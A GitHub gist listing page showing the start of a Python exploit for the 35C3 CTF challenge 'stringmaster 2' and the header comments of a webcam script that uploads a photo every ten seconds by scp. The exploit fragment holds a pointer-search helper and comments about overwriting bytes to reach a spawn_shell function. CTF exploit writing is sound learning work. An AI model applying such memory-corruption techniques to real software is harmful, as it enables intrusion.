Skip to content

Instantly share code, notes, and snippets.

@dbeef
dbeef / stringmaster2_exploit.py
Last active February 15, 2019 15:26
35C3 - stringmaster 2 - my python exploit
import time
import struct
import socket
# For finding hex sequence in given subarray (i.e finding pointers' addresses by their supposed value)
def find_index_of_subarray(arr, subarr):
index = 0
for byte in arr:
if len(arr) - index < len(subarr):
return -1
import socket
HOST = '127.0.0.1'
PORT = 22224
# Indexes of bytes that will be swapped to represent spawn_shell address.
# They may be in the memory proceeding string's local data pointer,
# or they may not - depends on luck. If not, retry.
index_0x40 = -1
@dbeef
dbeef / surveillance.py
Last active December 24, 2018 13:03
Webcam surveillance via Python & scp
#Script that shoots a photo every 10 seconds and uploads it via scp to given host, authenticating via private key.
#Setting up:
#pip install scp paramiko
#sudo apt-get install python-opencv
#Checkout OpenCV, build it, install it.
#Sources:
#https://stackoverflow.com/questions/11094481/capturing-a-single-image-from-my-webcam-in-java-or-python
#https://stackoverflow.com/questions/11499507/how-to-transfer-a-file-to-ssh-server-in-an-ssh-connection-made-by-paramiko